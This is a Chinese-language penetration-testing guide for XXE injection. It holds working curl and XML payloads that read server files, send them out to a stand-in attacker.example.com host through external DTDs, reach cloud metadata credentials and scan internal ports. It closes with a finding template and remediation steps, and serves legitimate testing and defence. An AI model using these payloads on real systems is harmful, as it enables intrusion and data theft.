| name | testing-for-xxe-injection-vulnerabilities |
| description | 在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","xxe","xml-injection","owasp","web-security","burpsuite"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
测试 XXE 注入漏洞
适用场景
- 在授权的渗透测试中,目标应用程序处理 XML 输入时(SOAP API、文件上传、RSS 订阅)
- 测试接受
Content-Type: application/xml 或 text/xml 的 API 时
- 评估文件上传功能中的 XML 解析器时(DOCX、XLSX、SVG、PDF)
- 评估基于 SOAP 的 Web 服务是否存在实体注入时
- 安全评估使用 XML 配置的企业应用程序时
前置条件
- 授权:针对目标的书面渗透测试协议
- Burp Suite Professional:用于拦截和修改 XML 请求
- XXEinjector:自动化 XXE 利用工具(
git clone https://github.com/enjoiz/XXEinjector.git)
- 带外服务器:Burp Collaborator 或 interactsh,用于盲 XXE 检测
- curl:用于手动构造和提交 Payload
- Python:用于搭建 DTD 托管服务器
工作流程
步骤 1:识别 XML 处理点
查找所有接受或处理 XML 数据的应用程序端点。
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"search":"test"}' \
"https://target.example.com/api/search"
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><search>test</search></root>' \
"https://target.example.com/api/search"
curl -s -X POST \
-H "Content-Type: text/xml" \
-H "SOAPAction: \"\"" \
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><test/></soap:Body></soap:Envelope>' \
"https://target.example.com/ws/service"
步骤 2:测试基本 XXE 文件读取
注入 XML 实体以从服务器读取本地文件。
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
步骤 3:通过带外检测测试盲 XXE
当实体值未在响应中反射时,使用带外(Out-of-Band)技术。
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://abc123.oast.fun/xxe-param">
%xxe;
]>
<root><search>test</search></root>' \
"https://target.example.com/api/search"
步骤 4:通过带外 XXE 外泄数据
使用外部 DTD 通过 HTTP 请求提取文件内容。
cat > /tmp/evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example.com/?data=%file;'>">
%eval;
%exfil;
EOF
cd /tmp && python3 -m http.server 8888 &
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.example.com:8888/evil.dtd">
%dtd;
]>
<root><search>test</search></root>' \
"https://target.example.com/api/search"
cat > /tmp/evil-ftp.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.example.com/%file;'>">
%eval;
%exfil;
EOF
步骤 5:通过文件上传测试 XXE
测试文档上传功能中的 XML 解析。
cat > /tmp/xxe.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="0" y="20">&xxe;</text>
</svg>
EOF
curl -s -X POST \
-F "file=@/tmp/xxe.svg;type=image/svg+xml" \
-b "session=abc123" \
"https://target.example.com/api/upload/avatar"
mkdir -p /tmp/xxe-docx
cd /tmp/xxe-docx
unzip /tmp/template.docx -d /tmp/xxe-docx
步骤 6:测试通过 XXE 实施的服务器端请求伪造(SSRF)
使用 XXE 让服务器向内部服务发送请求。
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
echo -n "端口 $port: "
curl -s -X POST --max-time 5 \
-H "Content-Type: application/xml" \
-d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:$port/\">]><root><search>&xxe;</search></root>" \
"https://target.example.com/api/search" | head -c 100
echo
done
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-admin.local:8080/admin">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
核心概念
| 概念 | 描述 |
|---|
| XML 外部实体(XML External Entity) | DTD 中通过 SYSTEM 或 PUBLIC 关键字引用外部资源的实体 |
| DTD(文档类型定义) | 定义 XML 文档结构和合法元素(包括实体声明)的规范 |
| 内部实体(Internal Entity) | 在 DTD 中直接定义值的实体(<!ENTITY name "value">) |
| 外部实体(External Entity) | 从 URI 加载内容的实体(<!ENTITY name SYSTEM "uri">) |
| 参数实体(Parameter Entity) | 在 DTD 内部使用的实体,以 % 为前缀(<!ENTITY % name SYSTEM "uri">) |
| 盲 XXE(Blind XXE) | 实体值未在响应中反射的 XXE,需要带外数据外泄 |
| 十亿笑(Billion Laughs,DoS) | 导致指数级内存消耗的递归实体扩展攻击 |
| 通过 XXE 的 SSRF | 利用 XXE 让服务器向内部或外部服务发送 HTTP 请求 |
工具与系统
| 工具 | 用途 |
|---|
| Burp Suite Professional | 请求拦截、修改,以及用于 OOB 检测的 Collaborator |
| XXEinjector | 带文件外泄和 SSRF 能力的自动化 XXE 利用工具 |
| interactsh | 用于检测盲 XXE 回调的带外交互服务器 |
| xxeserv | 专用于 XXE 数据外泄的 FTP/HTTP 服务器 |
| OWASP ZAP | 主动扫描模式下的自动化 XXE 扫描 |
| DTD-Finder | 发现服务器上的 DTD 文件以用于实体注入 |
常见场景
场景 1:SOAP API 文件读取
一个 SOAP Web 服务处理 XML 输入时未禁用外部实体。在 SOAP Body 中注入带有 SYSTEM 实体的 DTD,可读取 /etc/passwd 并在 SOAP 响应中返回。
场景 2:SVG 上传盲 XXE
图像上传功能接受 SVG 文件,服务器端解析 SVG 以生成缩略图。在 SVG 中使用盲 XXE Payload,通过带外 HTTP 请求外泄服务器文件。
场景 3:JSON 到 XML Content-Type 切换
一个 REST API 主要使用 JSON,但 XML 解析器也被启用。将 Content-Type 切换为 application/xml 并发送 XXE Payload,通过 API 响应暴露服务器文件。
场景 4:DOCX 处理 XXE
简历上传功能处理 DOCX 文件。在 DOCX 压缩包内的 [Content_Types].xml 文件中注入 XXE,当服务器端解析文档时触发文件读取。
输出格式
## XXE 注入发现
**漏洞类型**: XML 外部实体(XXE)注入
**严重级别**: 严重(CVSS 9.1)
**位置**: POST /api/search(Content-Type: application/xml)
**OWASP 类别**: A05:2021 - 安全配置错误
### 复现步骤
1. 发送 POST 请求到 /api/search,Content-Type 设置为 application/xml
2. 在 DTD 中包含外部实体: <!ENTITY xxe SYSTEM "file:///etc/passwd">
3. 在 XML body 中引用实体: <search>&xxe;</search>
4. 服务器在响应中返回文件内容
### 确认的影响
- 本地文件读取: /etc/passwd、/etc/hostname、应用程序配置文件
- SSRF: 访问了位于 169.254.169.254 的 AWS 元数据
- 内网扫描: 识别到端口 3306、6379、8080 上的内部服务
### 已获取的文件
| 文件 | 内容摘要 |
|------|---------|
| /etc/passwd | 42 个用户账户,已识别服务账户 |
| /var/www/html/config.php | 明文数据库凭证 |
| /etc/hostname | 内部主机名: prod-web-01 |
### 修复建议
1. 在 XML 解析器中禁用外部实体处理
2. 如非必需,完全禁用 DTD 处理
3. 在可能的情况下使用 JSON 替代 XML
4. 实施输入验证,拒绝 XML 输入中的 DTD 声明
5. 为 Web 服务器用户应用最小权限文件系统权限